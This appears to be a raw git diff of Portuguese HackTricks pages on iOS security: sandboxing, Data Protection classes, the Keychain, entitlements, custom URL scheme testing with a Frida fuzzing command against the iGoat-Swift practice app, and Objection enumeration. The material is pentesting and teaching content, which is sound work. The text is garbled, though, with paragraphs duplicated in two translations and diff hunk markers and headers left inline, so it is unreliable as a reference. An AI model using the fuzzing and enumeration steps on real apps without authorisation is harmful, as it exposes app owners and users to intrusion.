No iOS, existe uma distinção de privilégios entre os aplicativos acessíveis pelo usuário e os processos principais do sistema. Os aplicativos são executados sob a identidade do usuário **`mobile`**, enquanto os processos essenciais do sistema operam como **`root`**. Essa separação é aprimorada por um mecanismo de sandbox, que impõe limitações estritas sobre quais ações os aplicativos podem realizar. Por exemplo, mesmo que os aplicativos compartilhem a mesma identidade de usuário, eles são proibidos de acessar ou modificar os dados uns dos outros.
No iOS, existe uma distinção de privilégio entre os aplicativos acessíveis ao usuário e os processos centrais do sistema. Os aplicativos são executados sob a identidade do usuário **`mobile`**, enquanto os processos cruciais do sistema operam como **`root`**. Essa separação é aprimorada por um mecanismo de sandbox, que impõe limitações rigorosas sobre quais ações os aplicativos podem realizar. Por exemplo, mesmo que os aplicativos compartilhem a mesma identidade de usuário, eles são proibidos de acessar ou modificar os dados uns dos outros.
Os aplicativos são instalados em um diretório específico (`private/var/mobile/Applications/{ID aleatório}`) e têm acesso de leitura restrito a determinadas áreas e funcionalidades do sistema, como SMS e chamadas telefônicas. O acesso a áreas protegidas aciona uma solicitação de permissão do usuário.
Os aplicativos são instalados em um diretório específico (`private/var/mobile/Applications/{random ID}`) e têm acesso de leitura restrito a certas áreas e funcionalidades do sistema, como SMS e chamadas telefônicas. O acesso a áreas protegidas aciona um pedido de permissão do usuário.
# Proteção de Dados
O iOS oferece aos desenvolvedores as **APIs de Proteção de Dados**, construídas sobre o Secure Enclave Processor (SEP) — um coprocessador dedicado para operações criptográficas e gerenciamento de chaves. O SEP garante a integridade da proteção de dados por meio de uma chave única específica do dispositivo, o UID do dispositivo, incorporado nele.
O iOS oferece aos desenvolvedores as **APIs de Proteção de Dados**, construídas sobre o Secure Enclave Processor (SEP) — um coprocessador dedicado para operações criptográficas e gerenciamento de chaves. O SEP garante a integridade da proteção de dados por meio de uma chave específica do dispositivo, o UID do dispositivo, incorporada a ele.
Ao criar um arquivo, uma chave de criptografia AES de 256 bits única é gerada, criptografando o conteúdo do arquivo. Essa chave de criptografia, juntamente com um ID de classe, é então criptografada usando uma chave de classe e armazenada nos metadados do arquivo. Descriptografar um arquivo envolve usar a chave do sistema para acessar os metadados, recuperar a chave de classe com o ID de classe e, em seguida, descriptografar a chave de criptografia única do arquivo.
Ao criar um arquivo, uma chave de criptografia AES de 256 bits única é gerada, criptografando o conteúdo do arquivo. Essa chave de criptografia, juntamente com um ID de classe, é então criptografada usando uma chave de classe e armazenada nos metadados do arquivo. A descriptografia de um arquivo envolve o uso da chave do sistema para acessar os metadados, recuperando a chave de classe com o ID de classe e, em seguida, descriptografando a chave de criptografia única do arquivo.
O iOS define **quatro classes de proteção** para segurança de dados, que determinam quando e como os dados podem ser acessados:
- **Proteção Completa (NSFileProtectionComplete)**: Os dados são inacessíveis até que o dispositivo seja desbloqueado usando o código de acesso do usuário.
- **Protegido a Menos que Aberto (NSFileProtectionCompleteUnlessOpen)**: Permite o acesso ao arquivo mesmo após o dispositivo ser bloqueado, desde que o arquivo tenha sido aberto quando o dispositivo estava desbloqueado.
- **Protegido Até a Primeira Autenticação do Usuário (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Os dados são acessíveis após o primeiro desbloqueio do usuário após a inicialização, permanecendo acessíveis mesmo se o dispositivo for bloqueado novamente.
- **Sem Proteção (NSFileProtectionNone)**: Os dados são protegidos apenas pelo UID do dispositivo, facilitando a rápida exclusão remota de dados.
- **Protegido, a Menos que Esteja Aberto (NSFileProtectionCompleteUnlessOpen)**: Permite o acesso ao arquivo mesmo após o dispositivo estar bloqueado, desde que o arquivo tenha sido aberto quando o dispositivo foi desbloqueado.
- **Protegido Até a Primeira Autenticação do Usuário (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Os dados são acessíveis após a primeira desbloqueio do usuário após a inicialização, permanecendo acessíveis mesmo que o dispositivo seja bloqueado novamente.
- **Sem Proteção (NSFileProtectionNone)**: Os dados são protegidos apenas pelo UID do dispositivo, facilitando a exclusão remota rápida de dados.
A criptografia de todas as classes, exceto `NSFileProtectionNone`, envolve uma chave derivada tanto do UID do dispositivo quanto do código de acesso do usuário, garantindo que a descriptografia seja possível apenas no dispositivo com o código de acesso correto. A partir do iOS 7, a classe de proteção padrão é "Protegido Até a Primeira Autenticação do Usuário".
A criptografia de todas as classes, exceto `NSFileProtectionNone`, envolve uma chave derivada tanto do UID do dispositivo quanto do código de acesso do usuário, garantindo que a descriptografia só seja possível no dispositivo com o código de acesso correto. A partir do iOS 7, a classe de proteção padrão é "Protegido Até a Primeira Autenticação do Usuário".
Os desenvolvedores podem usar [**FileDP**](https://github.com/abjurato/FileDp-Source), uma ferramenta para inspecionar a classe de proteção de dados de arquivos em um iPhone.
```python
@ -44,20 +45,20 @@ python filedp.py /path/to/check
```
## **O Keychain**
No iOS, um **Keychain** serve como um **contêiner seguro criptografado** para armazenar **informações sensíveis**, acessíveis apenas pela aplicação que as armazenou ou por aquelas explicitamente autorizadas. Essa criptografia é fortalecida por uma **senha única gerada pelo iOS**, que por sua vez é criptografada com **AES**. Esse processo de criptografia utiliza uma função **PBKDF2**, combinando o código de acesso do usuário com um salt derivado do **UID** do dispositivo, um componente que apenas o **chipset do enclave seguro** pode acessar. Consequentemente, mesmo que o código de acesso do usuário seja conhecido, o conteúdo do Keychain permanece inacessível em qualquer dispositivo que não seja aquele onde foi originalmente criptografado.
No iOS, um **Keychain** serve como um **container criptografado seguro** para armazenar **informações sensíveis**, acessível apenas pelo aplicativo que o armazenou ou aqueles explicitamente autorizados. Essa criptografia é reforçada por uma **senha única gerada pelo iOS**, que por sua vez é criptografada com **AES**. Esse processo de criptografia utiliza uma **função PBKDF2**, combinando o código de acesso do usuário com um sal derivado do **UID** do dispositivo, um componente que apenas o **chipset de enclave seguro** pode acessar. Consequentemente, mesmo que o código de acesso do usuário seja conhecido, o conteúdo do Keychain permanece inacessível em qualquer dispositivo que não seja aquele onde foi originalmente criptografado.
O **gerenciamento e acesso** aos dados do Keychain são tratados pelo **daemon `securityd`**, com base em direitos específicos da aplicação como `Keychain-access-groups` e `application-identifier`.
**Gerenciamento e acesso** aos dados do Keychain são tratados pelo **daemon `securityd`**, com base em direitos específicos do aplicativo, como `Keychain-access-groups` e `application-identifier`.
### **Operações da API do Keychain**
A API do Keychain, detalhada na [documentação dos Serviços do Keychain da Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), fornece funções essenciais para o gerenciamento de armazenamento seguro:
A API do Keychain, detalhada na [documentação dos Serviços de Keychain da Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), fornece funções essenciais para gerenciamento seguro de armazenamento:
- **`SecItemAdd`**: Adiciona um novo item ao Keychain.
- **`SecItemUpdate`**: Atualiza um item existente no Keychain.
- **`SecItemCopyMatching`**: Recupera um item do Keychain.
- **`SecItemDelete`**: Remove um item do Keychain.
Forçar a senha do Keychain envolve atacar diretamente a chave criptografada ou tentar adivinhar o código de acesso no próprio dispositivo, dificultado significativamente pela imposição de um atraso entre tentativas falhadas pelo enclave seguro.
Forçar a senha do Keychain envolve atacar a chave criptografada diretamente ou tentar adivinhar o código de acesso no próprio dispositivo, dificultado significativamente pela aplicação de um atraso entre tentativas falhas pelo enclave seguro.
### **Configurando a Proteção de Dados do Item do Keychain**
@ -65,7 +66,7 @@ Os níveis de proteção de dados para itens do Keychain são definidos usando o
- **`kSecAttrAccessibleAlways`**: Acessível a qualquer momento, independentemente do status de bloqueio do dispositivo.
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Sempre acessível, mas não incluído em backups.
- **`kSecAttrAccessibleAfterFirstUnlock`**: Acessível após o primeiro desbloqueio pós-reinicialização.
- **`kSecAttrAccessibleAfterFirstUnlock`**: Acessível após o primeiro desbloqueio após a reinicialização.
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Igual ao acima, mas não transferível para novos dispositivos.
- **`kSecAttrAccessibleWhenUnlocked`**: Apenas acessível quando o dispositivo está desbloqueado.
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Acessível quando desbloqueado, não incluído em backups.
@ -73,15 +74,15 @@ Os níveis de proteção de dados para itens do Keychain são definidos usando o
**`AccessControlFlags`** refinam ainda mais os métodos de acesso, permitindo autenticação biométrica ou uso de código de acesso.
### **Aviso sobre Dispositivos com Jailbreak**
### **Aviso sobre Dispositivos Jailbroken**
{% hint style="warning" %}
Em **dispositivos com jailbreak**, as proteções do Keychain são comprometidas, representando um risco significativo de segurança.
Em **dispositivos jailbroken**, as proteções do Keychain estão comprometidas, representando um risco significativo à segurança.
{% endhint %}
### **Persistência dos Dados do Keychain**
Ao contrário dos dados específicos do aplicativo excluídos ao desinstalar o aplicativo, os **dados do Keychain persistem** no dispositivo. Essa característica poderia permitir que novos proprietários de um dispositivo de segunda mão acessem os dados do aplicativo do proprietário anterior simplesmente reinstalando os aplicativos. Os desenvolvedores são aconselhados a limpar proativamente os dados do Keychain ao instalar o aplicativo pela primeira vez ou durante o logout para mitigar esse risco. Aqui está um exemplo de código Swift demonstrando como limpar os dados do Keychain ao iniciar o aplicativo pela primeira vez:
Ao contrário dos dados específicos do aplicativo que são excluídos após a desinstalação do aplicativo, os **dados do Keychain persistem** no dispositivo. Essa característica pode permitir que novos proprietários de um dispositivo de segunda mão acessem os dados do aplicativo do proprietário anterior simplesmente reinstalando os aplicativos. Os desenvolvedores são aconselhados a limpar proativamente os dados do Keychain ao instalar o aplicativo ou durante o logout para mitigar esse risco. Aqui está um exemplo de código Swift demonstrando como limpar os dados do Keychain na primeira execução do aplicativo:
```swift
let userDefaults = UserDefaults.standard
@ -93,45 +94,47 @@ userDefaults.set(true, forKey: "hasRunBefore")
userDefaults.synchronize() // Forces the app to update UserDefaults
}
```
# **Capacidades do Aplicativo**
# **Capacidades do App**
No campo do desenvolvimento de aplicativos, o **sandboxing** desempenha um papel crucial na melhoria da segurança. Esse processo garante que cada aplicativo opere dentro de seu próprio diretório exclusivo, impedindo-o de acessar arquivos do sistema ou dados pertencentes a outros aplicativos. A imposição dessas restrições é realizada por meio de políticas de sandbox, que fazem parte do **Trusted BSD (MAC) Mandatory Access Control Framework**.
No âmbito do desenvolvimento de aplicativos, **sandboxing** desempenha um papel crucial na melhoria da segurança. Este processo garante que cada aplicativo opere dentro de seu próprio diretório exclusivo, impedindo assim que acesse arquivos do sistema ou dados pertencentes a outros aplicativos. A aplicação dessas restrições é realizada por meio de políticas de sandbox, que fazem parte do **Trusted BSD (MAC) Mandatory Access Control Framework**.
Os desenvolvedores têm a capacidade de configurar certas **capacidades ou permissões** para seus aplicativos, como **Proteção de Dados** ou **Compartilhamento de Keychain**. Essas permissões são aplicadas imediatamente após a instalação do aplicativo. No entanto, para acessar determinados recursos protegidos, o aplicativo deve obter o consentimento explícito do usuário no momento da primeira tentativa. Isso é alcançado por meio de _strings de finalidade_ ou _strings de descrição de uso_, que são apresentadas aos usuários em um alerta de solicitação de permissão.
Os desenvolvedores têm a capacidade de configurar certas **capacidades ou permissões** para seus aplicativos, como **Data Protection** ou **Keychain Sharing**. Essas permissões são aplicadas imediatamente após a instalação do aplicativo. No entanto, para acessar certos recursos protegidos, o aplicativo deve obter consentimento explícito do usuário no momento da primeira tentativa. Isso é alcançado por meio do uso de _purpose strings_ ou _usage description strings_, que são apresentados aos usuários em um alerta de solicitação de permissão.
Para aqueles com acesso ao código-fonte, a verificação das permissões incluídas no arquivo `Info.plist` pode ser feita da seguinte maneira:
Para aqueles com acesso ao código-fonte, a verificação das permissões incluídas no arquivo `Info.plist` pode ser feita da seguinte forma:
1. Abrir o projeto no Xcode.
2. Localizar e abrir o arquivo `Info.plist`.
3. Procurar por chaves prefixadas com `"Privacy -"`, com a opção de visualizar chaves/valores brutos para maior clareza.
3. Procurar por chaves prefixadas com `"Privacy -"`, com a opção de visualizar chaves/valores brutos para clareza.
Ao lidar com um arquivo IPA, os seguintes passos podem ser seguidos:
1. Descompactar o IPA.
2. Localizar o arquivo `Info.plist` dentro de `Payload/<nomedoaplicativo>.app/`.
3. Converter o arquivo para o formato XML, se necessário, para facilitar a inspeção.
2. Localizar o arquivo `Info.plist` dentro de `Payload/<appname>.app/`.
3. Converter o arquivo para o formato XML, se necessário, para uma inspeção mais fácil.
Por exemplo, as strings de finalidade no arquivo `Info.plist` podem se parecer com isso:
Por exemplo, as purpose strings no arquivo `Info.plist` podem parecer assim:
```xml
<plist version="1.0">
<dict>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
```
## Capacidades do Dispositivo
O arquivo `Info.plist` de um aplicativo especifica as **capacidades do dispositivo** que ajudam a App Store a filtrar aplicativos para compatibilidade com o dispositivo. Estas são definidas sob a chave **`UIRequiredDeviceCapabilities`**. Por exemplo:
## Device Capabilities
O arquivo `Info.plist` de um aplicativo especifica **capacidades do dispositivo** que ajudam a App Store a filtrar aplicativos para compatibilidade com o dispositivo. Estas são definidas sob a chave **`UIRequiredDeviceCapabilities`**. Por exemplo:
```xml
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
```
## Permissões
Este exemplo indica que o aplicativo é compatível com o conjunto de instruções armv7. Os desenvolvedores também podem especificar capacidades como nfc para garantir que seu aplicativo esteja disponível apenas para dispositivos que suportam NFC.
**Permissões** são outro aspecto crítico do desenvolvimento de aplicativos iOS, servindo como pares chave-valor que concedem permissão aos aplicativos para realizar determinadas operações além das verificações em tempo de execução. Por exemplo, habilitar a **Proteção de Dados** em um aplicativo envolve adicionar uma permissão específica no projeto Xcode, que é então refletida no arquivo de permissões do aplicativo ou no arquivo de provisionamento móvel incorporado para IPAs.
## Entitlements
**Entitlements** são outro aspecto crítico do desenvolvimento de aplicativos iOS, servindo como pares chave-valor que concedem permissões aos aplicativos para realizar certas operações além das verificações em tempo de execução. Por exemplo, habilitar **Data Protection** em um aplicativo envolve adicionar um entitlement específico no projeto Xcode, que é então refletido no arquivo de entitlements do aplicativo ou no arquivo de provisionamento móvel incorporado para IPAs.
# Referências
# References
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
* [https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
@ -139,16 +142,17 @@ O arquivo `Info.plist` de um aplicativo especifica as **capacidades do dispositi
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Esta é um resumo das informações relacionadas de [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
Este é um resumo das informações relacionadas de [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
## Informações Básicas
Os esquemas de URL personalizados permitem que os aplicativos se comuniquem usando um protocolo personalizado, conforme detalhado na [Documentação do Desenvolvedor da Apple](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Esses esquemas devem ser declarados pelo aplicativo, que então lida com URLs de entrada seguindo esses esquemas. É crucial **validar todos os parâmetros de URL** e **descartar URLs malformadas** para evitar ataques por meio desse vetor.
Esquemas de URL personalizados permitem que aplicativos se comuniquem usando um protocolo personalizado, conforme detalhado na [Documentação do Desenvolvedor da Apple](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Esses esquemas devem ser declarados pelo aplicativo, que então lida com URLs de entrada seguindo esses esquemas. É crucial **validar todos os parâmetros de URL** e **descartar quaisquer URLs malformadas** para prevenir ataques através desse vetor.
Um exemplo é dado onde o URI `myapp://hostname?data=123876123` invoca uma ação específica do aplicativo. Uma vulnerabilidade observada foi no aplicativo móvel do Skype, que permitia ações de chamada não permitidas via o protocolo `skype://`. Os esquemas registrados podem ser encontrados no `Info.plist` do aplicativo em `CFBundleURLTypes`. Aplicativos maliciosos podem explorar isso ao re-registrar URIs para interceptar informações sensíveis.
Um exemplo é dado onde o URI `myapp://hostname?data=123876123` invoca uma ação específica do aplicativo. Uma vulnerabilidade notada estava no aplicativo Skype Mobile, que permitia ações de chamada não autorizadas via o protocolo `skype://`. Os esquemas registrados podem ser encontrados no `Info.plist` do aplicativo sob `CFBundleURLTypes`. Aplicativos maliciosos podem explorar isso re-registrando URIs para interceptar informações sensíveis.
### Registro de Esquemas de Consulta do Aplicativo
### Registro de Esquemas de Consulta de Aplicativos
A partir do iOS 9.0, para verificar se um aplicativo está disponível, `canOpenURL:` requer a declaração de esquemas de URL no `Info.plist` em `LSApplicationQueriesSchemes`. Isso limita os esquemas que um aplicativo pode consultar para 50, aprimorando a privacidade ao evitar a enumeração de aplicativos.
A partir do iOS 9.0, para verificar se um aplicativo está disponível, `canOpenURL:` requer a declaração de esquemas de URL no `Info.plist` sob `LSApplicationQueriesSchemes`. Isso limita os esquemas que um aplicativo pode consultar a 50, melhorando a privacidade ao prevenir a enumeração de aplicativos.
```xml
<key>LSApplicationQueriesSchemes</key>
<array>
@ -30,9 +31,9 @@ A partir do iOS 9.0, para verificar se um aplicativo está disponível, `canOpen
<string>url_scheme2</string>
</array>
```
### Testando o Manuseio e Validação de URLs
### Testando o Tratamento e Validação de URL
Os desenvolvedores devem inspecionar métodos específicos no código-fonte para entender a construção e validação do caminho do URL, como `application:didFinishLaunchingWithOptions:` e `application:openURL:options:`. Por exemplo, o Telegram emprega vários métodos para abrir URLs:
Os desenvolvedores devem inspecionar métodos específicos no código-fonte para entender a construção e validação do caminho da URL, como `application:didFinishLaunchingWithOptions:` e `application:openURL:options:`. Por exemplo, o Telegram emprega vários métodos para abrir URLs:
```swift
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
self.openUrl(url: url)
@ -56,17 +57,17 @@ self.openUrl(url: url)
return true
}
```
### Testando Solicitações de URL para Outros Apps
### Testando Requisições de URL para Outros Apps
Métodos como `openURL:options:completionHandler:` são cruciais para abrir URLs e interagir com outros aplicativos. Identificar o uso desses métodos no código-fonte do aplicativo é fundamental para entender as comunicações externas.
Métodos como `openURL:options:completionHandler:` são cruciais para abrir URLs e interagir com outros apps. Identificar o uso de tais métodos no código-fonte do app é fundamental para entender as comunicações externas.
### Testando Métodos Obsoletos
O tratamento de métodos obsoletos para abertura de URLs, como `application:handleOpenURL:` e `openURL:`, deve ser identificado e revisado quanto às implicações de segurança.
Métodos obsoletos que lidam com aberturas de URL, como `application:handleOpenURL:` e `openURL:`, devem ser identificados e revisados quanto às implicações de segurança.
### Fuzzing em Esquemas de URL
### Fuzzing de Esquemas de URL
O fuzzing em esquemas de URL pode identificar bugs de corrupção de memória. Ferramentas como [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) podem automatizar esse processo abrindo URLs com payloads variados para monitorar falhas, exemplificado pela manipulação de URLs no aplicativo iGoat-Swift:
Fuzzing de esquemas de URL pode identificar bugs de corrupção de memória. Ferramentas como [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) podem automatizar esse processo abrindo URLs com diferentes payloads para monitorar por falhas, exemplificado pela manipulação de URLs no app iGoat-Swift:
```bash
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
@ -77,16 +78,17 @@ Opened URL: iGoat://?contactNumber=0&message=0
## Referências
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
Para esta seção a ferramenta [**Objection**](https://github.com/sensepost/objection) será utilizada.\
Para esta seção, a ferramenta [**Objection**](https://github.com/sensepost/objection) será utilizada.\
Comece obtendo uma sessão do objection executando algo como:
```bash
objection -d --gadget "iGoat-Swift" explore
objection -d --gadget "OWASP.iGoat-Swift" explore
```
Podes também executar `frida-ps -Uia` para verificar os processos em execução no telefone.
Você também pode executar `frida-ps -Uia` para verificar os processos em execução do telefone.
# Enumeração Básica da aplicação
# Enumeração Básica do aplicativo
## Caminhos Locais da Aplicação
## Caminhos Locais do Aplicativo
* `env`: Encontra os caminhos onde a aplicação está armazenada dentro do dispositivo
* `env`: Encontre os caminhos onde o aplicativo está armazenado dentro do dispositivo
```bash
env
Name Path
Nome Caminho
----------------- -----------------------------------------------------------------------------------------------
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
